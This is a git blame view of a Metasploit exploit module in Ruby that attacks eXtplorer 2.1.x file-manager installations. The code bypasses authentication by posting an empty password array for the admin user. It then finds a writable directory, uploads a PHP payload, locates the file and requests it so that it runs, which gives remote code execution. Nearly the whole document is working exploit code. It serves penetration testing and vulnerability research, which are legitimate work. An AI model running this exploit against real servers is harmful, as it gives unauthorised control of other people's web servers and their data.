Files
metasploit-gs/modules/exploits/multi/http/extplorer_upload_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

221 lines
7.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "eXtplorer v2.1 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits an authentication bypass vulnerability in eXtplorer
versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application.
This application has an upload feature that allows an authenticated user
with administrator roles to upload arbitrary files to any writable
directory in the web root. This module uses an authentication bypass
vulnerability to upload and execute a file.
},
'License' => MSF_LICENSE,
'Author' => [
2019-01-10 19:19:14 +00:00
'bcoles' # Discovery and exploit
],
2021-09-10 12:53:39 +01:00
'References' => [
[ 'OSVDB', '88751' ],
2013-01-09 19:45:17 +01:00
[ 'BID', '57058' ],
[ 'URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ],
[ 'URL', 'http://extplorer.net/issues/105' ]
],
2021-09-10 12:53:39 +01:00
'Payload' => {
},
2021-09-10 12:53:39 +01:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic Targeting', { 'auto' => true }]
],
2021-09-10 12:53:39 +01:00
'Privileged' => false,
'DisclosureDate' => '2012-12-31',
2021-10-06 13:43:31 +01:00
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
]
}
}
2021-09-10 12:53:39 +01:00
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']),
2021-09-10 12:53:39 +01:00
OptString.new('USERNAME', [true, 'The username for eXtplorer', 'admin'])
]
)
self.needs_cleanup = true
end
2013-08-30 16:28:54 -05:00
def check
2021-09-10 12:53:39 +01:00
base = target_uri.path
base << '/' if base[-1, 1] != '/'
2021-09-10 12:53:39 +01:00
peer = "#{rhost}:#{rport}"
2013-08-30 16:28:54 -05:00
# retrieve software version from ./extplorer.xml
begin
res = send_request_cgi({
'method' => 'GET',
2021-09-10 12:53:39 +01:00
'uri' => "#{base}extplorer.xml"
})
2013-08-30 16:28:54 -05:00
2013-01-09 19:45:17 +01:00
if !res or res.code != 200
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2013-01-09 23:48:55 +01:00
if res.body =~ /<version>2\.1\.(0RC\d|0|1|2)<\/version>/
2014-01-21 14:10:35 -06:00
return Exploit::CheckCode::Appears
2013-01-09 19:45:17 +01:00
end
2013-08-30 16:28:54 -05:00
2013-01-09 19:45:17 +01:00
if res.body =~ /eXtplorer/
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
vprint_error("Connection failed")
2014-01-21 14:10:35 -06:00
return Exploit::CheckCode::Unknown
end
2014-01-21 14:10:35 -06:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("#{@fname}")
else
client.shell_command_token("rm #{@fname}")
end
end
2013-08-30 16:28:54 -05:00
def upload(base, dir, fname, file)
2013-01-09 19:45:17 +01:00
data = Rex::MIME::Message.new
data.add_part(file, 'application/x-httpd-php', nil, "form-data; name=\"userfile[0]\"; filename=\"#{fname}\"")
data.add_part("on", nil, nil, "form-data; name=\"overwrite_files\"")
data.add_part("%2f#{dir}", nil, nil, "form-data; name=\"dir\"")
data.add_part("com_extplorer", nil, nil, "form-data; name=\"option\"")
data.add_part("upload", nil, nil, "form-data; name=\"action\"")
data.add_part("xmlhttprequest", nil, nil, "form-data; name=\"requestType\"")
data.add_part("true", nil, nil, "form-data; name=\"confirm\"")
2013-08-30 16:28:54 -05:00
2013-01-09 19:45:17 +01:00
data_post = data.to_s
2013-08-30 16:28:54 -05:00
res = send_request_cgi({
2021-09-10 12:53:39 +01:00
'method' => 'POST',
'uri' => "#{base}index.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => datastore['COOKIE'],
})
2013-08-30 16:28:54 -05:00
return res
end
2013-08-30 16:28:54 -05:00
def auth_bypass(base, user)
2021-09-10 12:53:39 +01:00
res = send_request_cgi({
'method' => 'POST',
2021-09-10 12:53:39 +01:00
'uri' => "#{base}index.php",
'data' => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=",
'cookie' => datastore['COOKIE'],
})
return res
end
2013-08-30 16:28:54 -05:00
def exploit
2021-09-10 12:53:39 +01:00
base = target_uri.path
base << '/' if base[-1, 1] != '/'
2021-09-10 12:53:39 +01:00
@fname = rand_text_alphanumeric(rand(10) + 6) + '.php'
user = datastore['USERNAME']
datastore['COOKIE'] = "eXtplorer=" + rand_text_alpha_lower(26) + ";"
2013-08-30 16:28:54 -05:00
# bypass auth
2016-02-01 15:12:03 -06:00
print_status("Authenticating as user (#{user})")
2021-09-10 12:53:39 +01:00
res = auth_bypass(base, user)
if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
2017-07-19 12:48:52 +01:00
print_good("Authenticated successfully")
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end
2013-08-30 16:28:54 -05:00
# search for writable directories
2016-02-01 15:12:03 -06:00
print_status("Retrieving writable subdirectories")
begin
res = send_request_cgi({
2021-09-10 12:53:39 +01:00
'method' => 'POST',
'uri' => "#{base}index.php",
'cookie' => datastore['COOKIE'],
'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
dir = "#{base}#{$1}"
2017-07-19 12:48:52 +01:00
print_good("Successfully retrieved writable subdirectory (#{$1})")
else
dir = "#{base}"
2016-02-01 15:12:03 -06:00
print_error("Could not find a writable subdirectory.")
end
2013-08-30 16:28:54 -05:00
# upload PHP payload
2016-02-01 15:12:03 -06:00
print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}")
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, dir, @fname, php)
if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/
2016-02-01 15:12:03 -06:00
print_good("File uploaded successfully")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
2013-08-30 16:28:54 -05:00
# search directories in the web root for the file
2016-02-01 15:12:03 -06:00
print_status("Searching directories for file (#{@fname})")
begin
2021-09-10 12:53:39 +01:00
res = send_request_cgi({
'method' => 'POST',
2021-09-10 12:53:39 +01:00
'uri' => "#{base}index.php",
'data' => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}",
'cookie' => datastore['COOKIE'],
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/
2021-09-10 12:53:39 +01:00
dir = $1.gsub('\\', '')
2016-02-01 15:12:03 -06:00
print_good("Successfully found file")
else
2016-02-01 15:12:03 -06:00
print_error("Failed to find file")
end
2013-08-30 16:28:54 -05:00
# retrieve and execute PHP payload
2016-02-01 15:12:03 -06:00
print_status("Executing payload (/#{dir}/#{@fname})")
begin
send_request_cgi({
'method' => 'GET',
2021-09-10 12:53:39 +01:00
'uri' => "/#{dir}/#{@fname}"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
if res and res.code != 200
2016-02-01 15:12:03 -06:00
print_error("Executing payload failed")
end
end
end